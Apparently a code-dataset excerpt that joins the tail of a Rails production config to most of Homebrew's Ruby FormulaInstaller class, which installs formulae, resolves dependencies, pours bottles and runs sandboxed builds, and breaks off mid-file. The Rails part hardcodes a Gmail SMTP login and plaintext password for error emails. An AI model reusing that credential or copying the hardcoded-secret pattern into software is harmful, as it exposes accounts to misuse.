# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
config.middleware.use ExceptionNotification::Rack, email: {
email_prefix: "[eboshi] ",
sender_address: %("errors" <[email protected]>), exception_recipients: "[email protected]",
smtp_settings: {
address: "smtp.gmail.com",
port: 587,
authentication: :plain,
user_name: "[email protected]",
password: "4pp3rr0rs",
ssl: nil,
tls: nil,
enable_starttls_auto: true
}
}
end
| 39.468468 | 102 | 0.74572 |
38513e86bae38ba97360cd2e28193e7f92eaac5a
| 40,021 |
# typed: false
# frozen_string_literal: true
require "formula"
require "keg"
require "tab"
require "utils/bottles"
require "caveats"
require "cleaner"
require "formula_cellar_checks"
require "install_renamed"
require "sandbox"
require "development_tools"
require "cache_store"
require "linkage_checker"
require "install"
require "messages"
require "cask/cask_loader"
require "cmd/install"
require "find"
require "utils/spdx"
require "deprecate_disable"
require "unlink"
require "service"
# Installer for a formula.
#
# @api private
class FormulaInstaller
extend T::Sig
include FormulaCellarChecks
extend Predicable
attr_reader :formula
attr_accessor :options, :link_keg
attr_predicate :installed_as_dependency?, :installed_on_request?
attr_predicate :show_summary_heading?, :show_header?
attr_predicate :force_bottle?, :ignore_deps?, :only_deps?, :interactive?, :git?, :force?, :keep_tmp?
attr_predicate :verbose?, :debug?, :quiet?
# TODO: Remove when removed from `test-bot`.
attr_writer :build_bottle
def initialize(
formula,
link_keg: false,
installed_as_dependency: false,
installed_on_request: true,
show_header: false,
build_bottle: false,
force_bottle: false,
bottle_arch: nil,
ignore_deps: false,
only_deps: false,
include_test_formulae: [],
build_from_source_formulae: [],
env: nil,
git: false,
interactive: false,
keep_tmp: false,
cc: nil,
options: Options.new,
force: false,
debug: false,
quiet: false,
verbose: false
)
@formula = formula
@env = env
@force = force
@keep_tmp = keep_tmp
@link_keg = !formula.keg_only? || link_keg
@show_header = show_header
@ignore_deps = ignore_deps
@only_deps = only_deps
@build_from_source_formulae = build_from_source_formulae
@build_bottle = build_bottle
@bottle_arch = bottle_arch
@formula.force_bottle ||= force_bottle
@force_bottle = @formula.force_bottle
@include_test_formulae = include_test_formulae
@interactive = interactive
@git = git
@cc = cc
@verbose = verbose
@quiet = quiet
@debug = debug
@installed_as_dependency = installed_as_dependency
@installed_on_request = installed_on_request
@options = options
@requirement_messages = []
@poured_bottle = false
@start_time = nil
end
def self.attempted
@attempted ||= Set.new
end
sig { void }
def self.clear_attempted
@attempted = Set.new
end
def self.installed
@installed ||= Set.new
end
sig { void }
def self.clear_installed
@installed = Set.new
end
sig { returns(T::Boolean) }
def build_from_source?
@build_from_source_formulae.include?(formula.full_name)
end
sig { returns(T::Boolean) }
def include_test?
@include_test_formulae.include?(formula.full_name)
end
sig { returns(T::Boolean) }
def build_bottle?
return false unless @build_bottle
!formula.bottle_disabled?
end
sig { params(output_warning: T::Boolean).returns(T::Boolean) }
def pour_bottle?(output_warning: false)
return false if !formula.bottle_tag? && !formula.local_bottle_path
return true if force_bottle?
return false if build_from_source? || build_bottle? || interactive?
return false if @cc
return false unless options.empty?
return false if formula.bottle_disabled?
unless formula.pour_bottle?
if output_warning && formula.pour_bottle_check_unsatisfied_reason
opoo <<~EOS
Building #{formula.full_name} from source:
#{formula.pour_bottle_check_unsatisfied_reason}
EOS
end
return false
end
return true if formula.local_bottle_path.present?
bottle = formula.bottle_for_tag(Utils::Bottles.tag.to_sym)
return false if bottle.nil?
# unless bottle.compatible_locations?
# bottle = formula.bottle_specification
unless bottle.compatible_cellar_with_name? formula.name
if output_warning
prefix = Pathname(bottle.cellar).parent
opoo <<~EOS
Building #{formula.full_name} from source as the bottle needs:
- HOMEBREW_CELLAR: #{bottle.cellar} (yours is #{HOMEBREW_CELLAR})
- HOMEBREW_PREFIX: #{prefix} (yours is #{HOMEBREW_PREFIX})
EOS
end
return false
end
true
end
sig { params(dep: Formula, build: BuildOptions).returns(T::Boolean) }
def install_bottle_for?(dep, build)
return pour_bottle? if dep == formula
@build_from_source_formulae.exclude?(dep.full_name) &&
dep.bottle.present? &&
dep.pour_bottle? &&
build.used_options.empty? &&
dep.bottle&.compatible_locations?
end
sig { void }
def prelude
type, reason = DeprecateDisable.deprecate_disable_info formula
if type.present?
case type
when :deprecated
if reason.present?
opoo "#{formula.full_name} has been deprecated because it #{reason}!"
else
opoo "#{formula.full_name} has been deprecated!"
end
when :disabled
if reason.present?
raise CannotInstallFormulaError, "#{formula.full_name} has been disabled because it #{reason}!"
end
raise CannotInstallFormulaError, "#{formula.full_name} has been disabled!"
end
end
Tab.clear_cache
verify_deps_exist unless ignore_deps?
forbidden_license_check
check_install_sanity
end
sig { void }
def verify_deps_exist
begin
compute_dependencies
rescue TapFormulaUnavailableError => e
raise if e.tap.installed?
e.tap.install
retry
end
rescue FormulaUnavailableError => e
e.dependent = formula.full_name
raise
end
def check_installation_already_attempted
raise FormulaInstallationAlreadyAttemptedError, formula if self.class.attempted.include?(formula)
end
def check_install_sanity
check_installation_already_attempted
if force_bottle? && !pour_bottle?
raise CannotInstallFormulaError, "--force-bottle passed but #{formula.full_name} has no bottle!"
end
if Homebrew.default_prefix? &&
# TODO: re-enable this on Linux when we merge linuxbrew-core into
# homebrew-core and have full bottle coverage.
(OS.mac? || ENV["CI"]) &&
!build_from_source? && !build_bottle? && !formula.head? &&
formula.tap&.core_tap? && !formula.bottle_unneeded? &&
# Integration tests override homebrew-core locations
ENV["HOMEBREW_TEST_TMPDIR"].nil? &&
!pour_bottle?
message = if !formula.pour_bottle? && formula.pour_bottle_check_unsatisfied_reason
formula_message = formula.pour_bottle_check_unsatisfied_reason
formula_message[0] = formula_message[0].downcase
<<~EOS
#{formula}: #{formula_message}
EOS
# don't want to complain about no bottle available if doing an
# upgrade/reinstall/dependency install (but do in the case the bottle
# check fails)
elsif !Homebrew::EnvConfig.developer? &&
(!installed_as_dependency? || !formula.any_version_installed?) &&
(!OS.mac? || !OS::Mac.version.outdated_release?)
<<~EOS
#{formula}: no bottle available!
EOS
end
if message
message += <<~EOS
You can try to install from source with:
brew install --build-from-source #{formula}
Please note building from source is unsupported. You will encounter build
failures with some formulae. If you experience any issues please create pull
requests instead of asking for help on Homebrew's GitHub, Twitter or any other
official channels.
EOS
raise CannotInstallFormulaError, message
end
end
return if ignore_deps?
if Homebrew::EnvConfig.developer?
# `recursive_dependencies` trims cyclic dependencies, so we do one level and take the recursive deps of that.
# Mapping direct dependencies to deeper dependencies in a hash is also useful for the cyclic output below.
recursive_dep_map = formula.deps.to_h { |dep| [dep, dep.to_formula.recursive_dependencies] }
cyclic_dependencies = []
recursive_dep_map.each do |dep, recursive_deps|
if [formula.name, formula.full_name].include?(dep.name)
cyclic_dependencies << "#{formula.full_name} depends on itself directly"
elsif recursive_deps.any? { |rdep| [formula.name, formula.full_name].include?(rdep.name) }
cyclic_dependencies << "#{formula.full_name} depends on itself via #{dep.name}"
end
end
if cyclic_dependencies.present?
raise CannotInstallFormulaError, <<~EOS
#{formula.full_name} contains a recursive dependency on itself:
#{cyclic_dependencies.join("\n ")}
EOS
end
# Merge into one list
recursive_deps = recursive_dep_map.flat_map { |dep, rdeps| [dep] + rdeps }
Dependency.merge_repeats(recursive_deps)
else
recursive_deps = formula.recursive_dependencies
end
invalid_arch_dependencies = []
pinned_unsatisfied_deps = []
recursive_deps.each do |dep|
if (tab = Tab.for_formula(dep.to_formula)) && tab.arch.present? && tab.arch.to_s != Hardware::CPU.arch.to_s
invalid_arch_dependencies << "#{dep} was built for #{tab.arch}"
end
next unless dep.to_formula.pinned?
next if dep.satisfied?(inherited_options_for(dep))
next if dep.build? && pour_bottle?
pinned_unsatisfied_deps << dep
end
if invalid_arch_dependencies.present?
raise CannotInstallFormulaError, <<~EOS
#{formula.full_name} dependencies not built for the #{Hardware::CPU.arch} CPU architecture:
#{invalid_arch_dependencies.join("\n ")}
EOS
end
return if pinned_unsatisfied_deps.empty?
raise CannotInstallFormulaError,
"You must `brew unpin #{pinned_unsatisfied_deps * " "}` as installing " \
"#{formula.full_name} requires the latest version of pinned dependencies"
end
def build_bottle_preinstall
@etc_var_dirs ||= [HOMEBREW_PREFIX/"etc", HOMEBREW_PREFIX/"var"]
@etc_var_preinstall = Find.find(*@etc_var_dirs.select(&:directory?)).to_a
end
def build_bottle_postinstall
@etc_var_postinstall = Find.find(*@etc_var_dirs.select(&:directory?)).to_a
(@etc_var_postinstall - @etc_var_preinstall).each do |file|
Pathname.new(file).cp_path_sub(HOMEBREW_PREFIX, formula.bottle_prefix)
end
end
sig { void }
def install
lock
start_time = Time.now
if !formula.bottle_unneeded? && !pour_bottle? && DevelopmentTools.installed?
Homebrew::Install.perform_build_from_source_checks
end
# Warn if a more recent version of this formula is available in the tap.
begin
if formula.pkg_version < (v = Formulary.factory(formula.full_name, force_bottle: force_bottle?).pkg_version)
opoo "#{formula.full_name} #{v} is available and more recent than version #{formula.pkg_version}."
end
rescue FormulaUnavailableError
nil
end
check_conflicts
raise UnbottledError, [formula] if !pour_bottle? && !formula.bottle_unneeded? && !DevelopmentTools.installed?
unless ignore_deps?
deps = compute_dependencies(use_cache: false)
if ((pour_bottle? && !DevelopmentTools.installed?) || build_bottle?) &&
(unbottled = unbottled_dependencies(deps)).presence
# Check that each dependency in deps has a bottle available, terminating
# abnormally with a UnbottledError if one or more don't.
raise UnbottledError, unbottled
end
install_dependencies(deps)
end
return if only_deps?
formula.deprecated_flags.each do |deprecated_option|
old_flag = deprecated_option.old_flag
new_flag = deprecated_option.current_flag
opoo "#{formula.full_name}: #{old_flag} was deprecated; using #{new_flag} instead!"
end
options = display_options(formula).join(" ")
oh1 "Installing #{Formatter.identifier(formula.full_name)} #{options}".strip if show_header?
if formula.tap&.installed? && !formula.tap&.private?
action = "#{formula.full_name} #{options}".strip
Utils::Analytics.report_event("install", action)
Utils::Analytics.report_event("install_on_request", action) if installed_on_request?
end
self.class.attempted << formula
if pour_bottle?
begin
pour
rescue Exception # rubocop:disable Lint/RescueException
# any exceptions must leave us with nothing installed
ignore_interrupts do
begin
formula.prefix.rmtree if formula.prefix.directory?
rescue Errno::EACCES, Errno::ENOTEMPTY
odie <<~EOS
Could not remove #{formula.prefix.basename} keg! Do so manually:
sudo rm -rf #{formula.prefix}
EOS
end
formula.rack.rmdir_if_possible
end
raise
else
@poured_bottle = true
end
end
puts_requirement_messages
build_bottle_preinstall if build_bottle?
unless @poured_bottle
build
clean
# Store the formula used to build the keg in the keg.
formula_contents = if formula.local_bottle_path
Utils::Bottles.formula_contents formula.local_bottle_path, name: formula.name
else
formula.path.read
end
s = formula_contents.gsub(/ bottle do.+?end\n\n?/m, "")
brew_prefix = formula.prefix/".brew"
brew_prefix.mkdir
Pathname(brew_prefix/"#{formula.name}.rb").atomic_write(s)
keg = Keg.new(formula.prefix)
tab = Tab.for_keg(keg)
tab.installed_as_dependency = installed_as_dependency?
tab.installed_on_request = installed_on_request?
tab.write
end
build_bottle_postinstall if build_bottle?
opoo "Nothing was installed to #{formula.prefix}" unless formula.latest_version_installed?
end_time = Time.now
Homebrew.messages.package_installed(formula.name, end_time - start_time)
end
def check_conflicts
return if force?
conflicts = formula.conflicts.select do |c|
f = Formulary.factory(c.name)
rescue TapFormulaUnavailableError
# If the formula name is a fully-qualified name let's silently
# ignore it as we don't care about things used in taps that aren't
# currently tapped.
false
rescue FormulaUnavailableError => e
# If the formula name doesn't exist any more then complain but don't
# stop installation from continuing.
opoo <<~EOS
#{formula}: #{e.message}
'conflicts_with \"#{c.name}\"' should be removed from #{formula.path.basename}.
EOS
raise if Homebrew::EnvConfig.developer?
$stderr.puts "Please report this issue to the #{formula.tap} tap (not Homebrew/brew or Homebrew/core)!"
false
else
f.linked_keg.exist? && f.opt_prefix.exist?
end
raise FormulaConflictError.new(formula, conflicts) unless conflicts.empty?
end
# Compute and collect the dependencies needed by the formula currently
# being installed.
def compute_dependencies(use_cache: true)
@compute_dependencies = nil unless use_cache
@compute_dependencies ||= begin
check_requirements(expand_requirements)
expand_dependencies
end
end
def unbottled_dependencies(deps)
deps.map(&:first).map(&:to_formula).reject do |dep_f|
next false unless dep_f.pour_bottle?
dep_f.bottle_unneeded? || dep_f.bottled?
end
end
def compute_and_install_dependencies
deps = compute_dependencies
install_dependencies(deps)
end
def check_requirements(req_map)
@requirement_messages = []
fatals = []
req_map.each_pair do |dependent, reqs|
reqs.each do |req|
next if dependent.latest_version_installed? && req.name == "macos" && req.comparator == "<="
@requirement_messages << "#{dependent}: #{req.message}"
fatals << req if req.fatal?
end
end
return if fatals.empty?
puts_requirement_messages
raise UnsatisfiedRequirements, fatals
end
def runtime_requirements(formula)
runtime_deps = formula.runtime_formula_dependencies(undeclared: false)
recursive_requirements = formula.recursive_requirements do |dependent, _|
Requirement.prune unless runtime_deps.include?(dependent)
end
(recursive_requirements.to_a + formula.requirements.to_a).reject(&:build?).uniq
end
def expand_requirements
unsatisfied_reqs = Hash.new { |h, k| h[k] = [] }
formulae = [formula]
formula_deps_map = formula.recursive_dependencies
.index_by(&:name)
while (f = formulae.pop)
runtime_requirements = runtime_requirements(f)
f.recursive_requirements do |dependent, req|
build = effective_build_options_for(dependent)
install_bottle_for_dependent = install_bottle_for?(dependent, build)
keep_build_test = false
keep_build_test ||= runtime_requirements.include?(req)
keep_build_test ||= req.test? && include_test? && dependent == f
keep_build_test ||= req.build? && !install_bottle_for_dependent && !dependent.latest_version_installed?
if req.prune_from_option?(build) ||
req.satisfied?(env: @env, cc: @cc, build_bottle: @build_bottle, bottle_arch: @bottle_arch) ||
((req.build? || req.test?) && !keep_build_test) ||
formula_deps_map[dependent.name]&.build?
Requirement.prune
else
unsatisfied_reqs[dependent] << req
end
end
end
unsatisfied_reqs
end
def expand_dependencies
inherited_options = Hash.new { |hash, key| hash[key] = Options.new }
pour_bottle = pour_bottle?
# Cache for this expansion only. FormulaInstaller has a lot of inputs which can alter expansion.
cache_key = "FormulaInstaller-#{formula.full_name}-#{Time.now.to_f}"
expanded_deps = Dependency.expand(formula, cache_key: cache_key) do |dependent, dep|
inherited_options[dep.name] |= inherited_options_for(dep)
build = effective_build_options_for(
dependent,
inherited_options.fetch(dependent.name, []),
)
keep_build_test = false
keep_build_test ||= dep.test? && include_test? && @include_test_formulae.include?(dependent.full_name)
keep_build_test ||= dep.build? && !install_bottle_for?(dependent, build) &&
(formula.head? || !dependent.latest_version_installed?)
if dep.prune_from_option?(build) || ((dep.build? || dep.test?) && !keep_build_test)
Dependency.prune
elsif dep.satisfied?(inherited_options[dep.name])
Dependency.skip
else
pour_bottle ||= install_bottle_for?(dep.to_formula, build)
end
end
if pour_bottle && !Keg.bottle_dependencies.empty?
bottle_deps = if Keg.bottle_dependencies.exclude?(formula.name)
Keg.bottle_dependencies
elsif Keg.relocation_formulae.exclude?(formula.name)
Keg.relocation_formulae
else
[]
end
bottle_deps = bottle_deps.map { |formula| Dependency.new(formula) }
.reject do |dep|
inherited_options[dep.name] |= inherited_options_for(dep)
dep.satisfied? inherited_options[dep.name]
end
expanded_deps = Dependency.merge_repeats(bottle_deps + expanded_deps)
end
expanded_deps.map { |dep| [dep, inherited_options[dep.name]] }
end
def effective_build_options_for(dependent, inherited_options = [])
args = dependent.build.used_options
args |= (dependent == formula) ? options : inherited_options
args |= Tab.for_formula(dependent).used_options
args &= dependent.options
BuildOptions.new(args, dependent.options)
end
def display_options(formula)
options = if formula.head?
["--HEAD"]
else
[]
end
options += effective_build_options_for(formula).used_options.to_a
options
end
sig { params(dep: Dependency).returns(Options) }
def inherited_options_for(dep)
inherited_options = Options.new
u = Option.new("universal")
if (options.include?(u) || formula.require_universal_deps?) && !dep.build? && dep.to_formula.option_defined?(u)
inherited_options << u
end
inherited_options
end
sig { params(deps: T::Array[[Formula, Options]]).void }
def install_dependencies(deps)
if deps.empty? && only_deps?
puts "All dependencies for #{formula.full_name} are satisfied."
elsif !deps.empty?
oh1 "Installing dependencies for #{formula.full_name}: " \
"#{deps.map(&:first).map(&Formatter.method(:identifier)).to_sentence}",
truncate: false
deps.each { |dep, options| install_dependency(dep, options) }
end
@show_header = true unless deps.empty?
end
sig { params(dep: Dependency).void }
def fetch_dependency(dep)
df = dep.to_formula
fi = FormulaInstaller.new(
df,
force_bottle: false,
# When fetching we don't need to recurse the dependency tree as it's already
# been done for us in `compute_dependencies` and there's no requirement to
# fetch in a particular order.
ignore_deps: true,
installed_as_dependency: true,
include_test_formulae: @include_test_formulae,
build_from_source_formulae: @build_from_source_formulae,
keep_tmp: keep_tmp?,
force: force?,
debug: debug?,
quiet: quiet?,
verbose: verbose?,
)
fi.prelude
fi.fetch
end
sig { params(dep: Dependency, inherited_options: Options).void }
def install_dependency(dep, inherited_options)
df = dep.to_formula
if df.linked_keg.directory?
linked_keg = Keg.new(df.linked_keg.resolved_path)
tab = Tab.for_keg(linked_keg)
keg_had_linked_keg = true
keg_was_linked = linked_keg.linked?
linked_keg.unlink
end
if df.latest_version_installed?
installed_keg = Keg.new(df.prefix)
tab ||= Tab.for_keg(installed_keg)
tmp_keg = Pathname.new("#{installed_keg}.tmp")
installed_keg.rename(tmp_keg)
end
if df.tap.present? && tab.present? && (tab_tap = tab.source["tap"].presence) &&
df.tap.to_s != tab_tap.to_s
odie <<~EOS
#{df} is already installed from #{tab_tap}!
Please `brew uninstall #{df}` first."
EOS
end
options = Options.new
options |= tab.used_options if tab.present?
options |= Tab.remap_deprecated_options(df.deprecated_options, dep.options)
options |= inherited_options
options &= df.options
fi = FormulaInstaller.new(
df,
**{
options: options,
link_keg: keg_had_linked_keg ? keg_was_linked : nil,
installed_as_dependency: true,
installed_on_request: df.any_version_installed? && tab.present? && tab.installed_on_request,
force_bottle: false,
include_test_formulae: @include_test_formulae,
build_from_source_formulae: @build_from_source_formulae,
keep_tmp: keep_tmp?,
force: force?,
debug: debug?,
quiet: quiet?,
verbose: verbose?,
},
)
oh1 "Installing #{formula.full_name} dependency: #{Formatter.identifier(dep.name)}"
fi.install
fi.finish
rescue Exception => e # rubocop:disable Lint/RescueException
ignore_interrupts do
tmp_keg.rename(installed_keg) if tmp_keg && !installed_keg.directory?
linked_keg.link(verbose: verbose?) if keg_was_linked
end
raise unless e.is_a? FormulaInstallationAlreadyAttemptedError
# We already attempted to install f as part of another formula's
# dependency tree. In that case, don't generate an error, just move on.
nil
else
ignore_interrupts { tmp_keg.rmtree if tmp_keg&.directory? }
end
sig { void }
def caveats
return if only_deps?
audit_installed if Homebrew::EnvConfig.developer?
return if !installed_on_request? || installed_as_dependency?
caveats = Caveats.new(formula)
return if caveats.empty?
@show_summary_heading = true
ohai "Caveats", caveats.to_s
Homebrew.messages.record_caveats(formula.name, caveats)
end
sig { void }
def finish
return if only_deps?
ohai "Finishing up" if verbose?
keg = Keg.new(formula.prefix)
link(keg)
install_service
fix_dynamic_linkage(keg) if !@poured_bottle || !formula.bottle_specification.skip_relocation?
if build_bottle?
ohai "Not running 'post_install' as we're building a bottle"
puts "You can run it manually using:"
puts " brew postinstall #{formula.full_name}"
else
post_install
end
# Updates the cache for a particular formula after doing an install
CacheStoreDatabase.use(:linkage) do |db|
break unless db.created?
LinkageChecker.new(keg, formula, cache_db: db, rebuild_cache: true)
end
# Update tab with actual runtime dependencies
tab = Tab.for_keg(keg)
Tab.clear_cache
f_runtime_deps = formula.runtime_dependencies(read_from_tab: false)
tab.runtime_dependencies = Tab.runtime_deps_hash(formula, f_runtime_deps)
tab.write
# let's reset Utils::Git.available? if we just installed git
Utils::Git.clear_available_cache if formula.name == "git"
# use installed ca-certificates when it's needed and available
if formula.name == "ca-certificates" &&
!DevelopmentTools.ca_file_handles_most_https_certificates?
ENV["SSL_CERT_FILE"] = ENV["GIT_SSL_CAINFO"] = formula.pkgetc/"cert.pem"
end
# use installed curl when it's needed and available
if formula.name == "curl" &&
!DevelopmentTools.curl_handles_most_https_certificates?
ENV["HOMEBREW_CURL"] = formula.opt_bin/"curl"
end
caveats
ohai "Summary" if verbose? || show_summary_heading?
puts summary
self.class.installed << formula
ensure
unlock
end
sig { returns(String) }
def summary
s = +""
s << "#{Homebrew::EnvConfig.install_badge} " unless Homebrew::EnvConfig.no_emoji?
s << "#{formula.prefix.resolved_path}: #{formula.prefix.abv}"
s << ", built in #{pretty_duration build_time}" if build_time
s.freeze
end
def build_time
@build_time ||= Time.now - @start_time if @start_time && !interactive?
end
sig { returns(T::Array[String]) }
def sanitized_argv_options
args = []
args << "--ignore-dependencies" if ignore_deps?
if build_bottle?
args << "--build-bottle"
args << "--bottle-arch=#{@bottle_arch}" if @bottle_arch
end
args << "--git" if git?
args << "--interactive" if interactive?
args << "--verbose" if verbose?
args << "--debug" if debug?
args << "--cc=#{@cc}" if @cc
args << "--keep-tmp" if keep_tmp?
if @env.present?
args << "--env=#{@env}"
elsif formula.env.std? || formula.deps.select(&:build?).any? { |d| d.name == "scons" }
args << "--env=std"
end
args << "--HEAD" if formula.head?
args
end
sig { returns(T::Array[String]) }
def build_argv
sanitized_argv_options + options.as_flags
end
sig { void }
def build
FileUtils.rm_rf(formula.logs)
@start_time = Time.now
# 1. formulae can modify ENV, so we must ensure that each
# installation has a pristine ENV when it starts, forking now is
# the easiest way to do this
args = [
"nice",
*HOMEBREW_RUBY_EXEC_ARGS,
"--",
HOMEBREW_LIBRARY_PATH/"build.rb",
formula.specified_path,
].concat(build_argv)
Utils.safe_fork do
if Sandbox.available?
sandbox = Sandbox.new
formula.logs.mkpath
sandbox.record_log(formula.logs/"build.sandbox.log")
sandbox.allow_write_path(ENV["HOME"]) if interactive?
sandbox.allow_write_temp_and_cache
sandbox.allow_write_log(formula)
sandbox.allow_cvs
sandbox.allow_fossil
sandbox.allow_write_xcode
sandbox.allow_write_cellar(formula)
sandbox.exec(*args)
else
exec(*args)
end
end
formula.update_head_version
raise "Empty installation" if !formula.prefix.directory? || Keg.new(formula.prefix).empty_installation?
rescue Exception => e # rubocop:disable Lint/RescueException
if e.is_a? BuildError
e.formula = formula
e.options = display_options(formula)
end
ignore_interrupts do
# any exceptions must leave us with nothing installed
formula.update_head_version
formula.prefix.rmtree if formula.prefix.directory?
formula.rack.rmdir_if_possible
end
raise e
end
sig { params(keg: Keg).void }
def link(keg)
Formula.clear_cache
unless link_keg
begin
keg.optlink(verbose: verbose?)
rescue Keg::LinkError => e
ofail "Failed to create #{formula.opt_prefix}"
puts "Things that depend on #{formula.full_name} will probably not build."
puts e
end
return
end
cask_installed_with_formula_name = begin
Cask::CaskLoader.load(formula.name).installed?
rescue Cask::CaskUnavailableError, Cask::CaskInvalidError
false
end
if cask_installed_with_formula_name
ohai "#{formula.name} cask is installed, skipping link."
return
end
if keg.linked?
opoo "This keg was marked linked already, continuing anyway"
keg.remove_linked_keg_record
end
Homebrew::Unlink.unlink_versioned_formulae(formula, verbose: verbose?)
link_overwrite_backup = {} # Hash: conflict file -> backup file
backup_dir = HOMEBREW_CACHE/"Backup"
begin
keg.link(verbose: verbose?)
rescue Keg::ConflictError => e
conflict_file = e.dst
if formula.link_overwrite?(conflict_file) && !link_overwrite_backup.key?(conflict_file)
backup_file = backup_dir/conflict_file.relative_path_from(HOMEBREW_PREFIX).to_s
backup_file.parent.mkpath
FileUtils.mv conflict_file, backup_file
link_overwrite_backup[conflict_file] = backup_file
retry
end
ofail "The `brew link` step did not complete successfully"
puts "The formula built, but is not symlinked into #{HOMEBREW_PREFIX}"
puts e
puts
puts "Possible conflicting files are:"
keg.link(dry_run: true, overwrite: true, verbose: verbose?)
@show_summary_heading = true
rescue Keg::LinkError => e
ofail "The `brew link` step did not complete successfully"
puts "The formula built, but is not symlinked into #{HOMEBREW_PREFIX}"
puts e
puts
puts "You can try again using:"
puts " brew link #{formula.name}"
@show_summary_heading = true
rescue Exception => e # rubocop:disable Lint/RescueException
ofail "An unexpected error occurred during the `brew link` step"
puts "The formula built, but is not symlinked into #{HOMEBREW_PREFIX}"
puts e
puts e.backtrace if debug?
@show_summary_heading = true
ignore_interrupts do
keg.unlink
link_overwrite_backup.each do |origin, backup|
origin.parent.mkpath
FileUtils.mv backup, origin
end
end
raise
end
return if link_overwrite_backup.empty?
opoo "These files were overwritten during the `brew link` step:"
puts link_overwrite_backup.keys
puts
puts "They have been backed up to: #{backup_dir}"
@show_summary_heading = true
end
sig { void }
def install_service
if formula.service? && formula.plist
ofail "Formula specified both service and plist"
return
end
if formula.service?
service_path = formula.systemd_service_path
service_path.atomic_write(formula.service.to_systemd_unit)
service_path.chmod 0644
end
service = if formula.service?
formula.service.to_plist
elsif formula.plist
formula.plist
end
return unless service
plist_path = formula.plist_path
plist_path.atomic_write(service)
plist_path.chmod 0644
log = formula.var/"log"
log.mkpath if service.include? log.to_s
rescue Exception => e # rubocop:disable Lint/RescueException
ofail "Failed to install service files"
odebug e, e.backtrace
end
sig { params(keg: Keg).void }
def fix_dynamic_linkage(keg)
keg.fix_dynamic_linkage
rescue Exception => e # rubocop:disable Lint/RescueException
ofail "Failed to fix install linkage"
puts "The formula built, but you may encounter issues using it or linking other"
puts "formulae against it."
odebug e, e.backtrace
@show_summary_heading = true
end
sig { void }
def clean
ohai "Cleaning" if verbose?
Cleaner.new(formula).clean
rescue Exception => e # rubocop:disable Lint/RescueException
opoo "The cleaning step did not complete successfully"
puts "Still, the installation was successful, so we will link it into your prefix."
odebug e, e.backtrace
Homebrew.failed = true
@show_summary_heading = true
end
sig { void }
def post_install
args = %W[
nice #{RUBY_PATH}
#{ENV["HOMEBREW_RUBY_WARNINGS"]}
-I #{$LOAD_PATH.join(File::PATH_SEPARATOR)}
--
#{HOMEBREW_LIBRARY_PATH}/postinstall.rb
]
# Use the formula from the keg if:
# * Installing from a local bottle, or
# * The formula doesn't exist in the tap (or the tap isn't installed), or
# * The formula in the tap has a different pkg_version.
#
# In all other cases, including if the formula from the keg is unreadable
# (third-party taps may `require` some of their own libraries) or if there
# is no formula present in the keg (as is the case with old bottles), use
# the formula from the tap.
formula_path = begin
keg_formula_path = formula.opt_prefix/".brew/#{formula.name}.rb"
tap_formula_path = formula.path
keg_formula = Formulary.factory(keg_formula_path)
tap_formula = Formulary.factory(tap_formula_path) if tap_formula_path.exist?
other_version_installed = (keg_formula.pkg_version != tap_formula&.pkg_version)
if formula.local_bottle_path.present? ||
!tap_formula_path.exist? ||
other_version_installed
keg_formula_path
else
tap_formula_path
end
rescue FormulaUnavailableError, FormulaUnreadableError
tap_formula_path
end
args << formula_path
Utils.safe_fork do
if Sandbox.available?
sandbox = Sandbox.new
formula.logs.mkpath
sandbox.record_log(formula.logs/"postinstall.sandbox.log")
sandbox.allow_write_temp_and_cache
sandbox.allow_write_log(formula)
sandbox.allow_write_xcode
sandbox.deny_write_homebrew_repository
sandbox.allow_write_cellar(formula)
Keg::KEG_LINK_DIRECTORIES.each do |dir|
sandbox.allow_write_path "#{HOMEBREW_PREFIX}/#{dir}"
end
sandbox.exec(*args)
else
exec(*args)
end
end
rescue Exception => e # rubocop:disable Lint/RescueException
opoo "The post-install step did not complete successfully"
puts "You can try again using:"
puts " brew postinstall #{formula.full_name}"
odebug e, e.backtrace, always_display: Homebrew::EnvConfig.developer?
Homebrew.failed = true
@show_summary_heading = true
end
sig { void }
def fetch_dependencies
return if ignore_deps?
deps = compute_dependencies
return if deps.empty?
deps.each { |dep, _options| fetch_dependency(dep) }
end
sig { void }
def fetch
fetch_dependencies
return if only_deps?
if pour_bottle?(output_warning: true)
formula.fetch_bottle_tab
else
formula.fetch_patches
formula.resources.each(&:fetch)
end
downloader.fetch
end
def downloader
if (bottle_path = formula.local_bottle_path)
LocalBottleDownloadStrategy.new(bottle_path)
elsif pour_bottle?
formula.bottle
else
formula
end
end
sig { void }
def pour
HOMEBREW_CELLAR.cd do
downloader.stage
end
Tab.clear_cache
tab = Utils::Bottles.load_tab(formula)
# fill in missing/outdated parts of the tab
# keep in sync with Tab#to_bottle_json
tab.used_options = []
tab.unused_options = []
tab.built_as_bottle = true
tab.poured_from_bottle = true
tab.installed_as_dependency = installed_as_dependency?
tab.installed_on_request = installed_on_request?
tab.time = Time.now.to_i
tab.aliases = formula.aliases
tab.arch = Hardware::CPU.arch
tab.source["versions"]["stable"] = formula.stable.version.to_s
tab.source["versions"]["version_scheme"] = formula.version_scheme
tab.source["path"] = formula.specified_path.to_s
tab.source["tap_git_head"] = formula.tap&.installed? ? formula.tap&.git_head : nil
tab.tap = formula.tap
tab.write
keg = Keg.new(formula.prefix)
skip_linkage = formula.bottle_specification.skip_relocation?
# TODO: Remove `with_env` when bottles are built with RPATH relocation enabled
# https://github.com/Homebrew/brew/issues/11329
with_env(HOMEBREW_RELOCATE_RPATHS: "1") do
keg.replace_placeholders_with_locations tab.changed_files, skip_linkage: skip_linkage
end
end
sig { params(output: T.nilable(String)).void }
def problem_if_output(output)
return unless output
opoo output
@show_summary_heading = true
end
def audit_installed
unless formula.keg_only?
problem_if_output(check_env_path(formula.bin))
problem_if_output(check_env_path(formula.sbin))
end
super
end
# This is a stub for calls made to this method at install time.
# Exceptions are correctly identified when doing `brew audit`.
def tap_audit_exception(*)
true
end
def self.locked
@locked ||= []
end
private
attr_predicate :hold_locks?
sig { void }
def lock
return unless self.class.locked.empty?
unless ignore_deps?
formula.recursive_dependencies.each do |dep|
self.class.locked << dep.to_formula
end
end
self.class.locked.unshift(formula)
self.class.locked.uniq!
self.class.locked.each(&:lock)
@hold_locks = true
end
sig { void }
def unlock
return unless hold_locks?
self.class.locked.each(&:unlock)
self.class.locked.clear
@hold_locks = false
end
def puts_requirement_messages
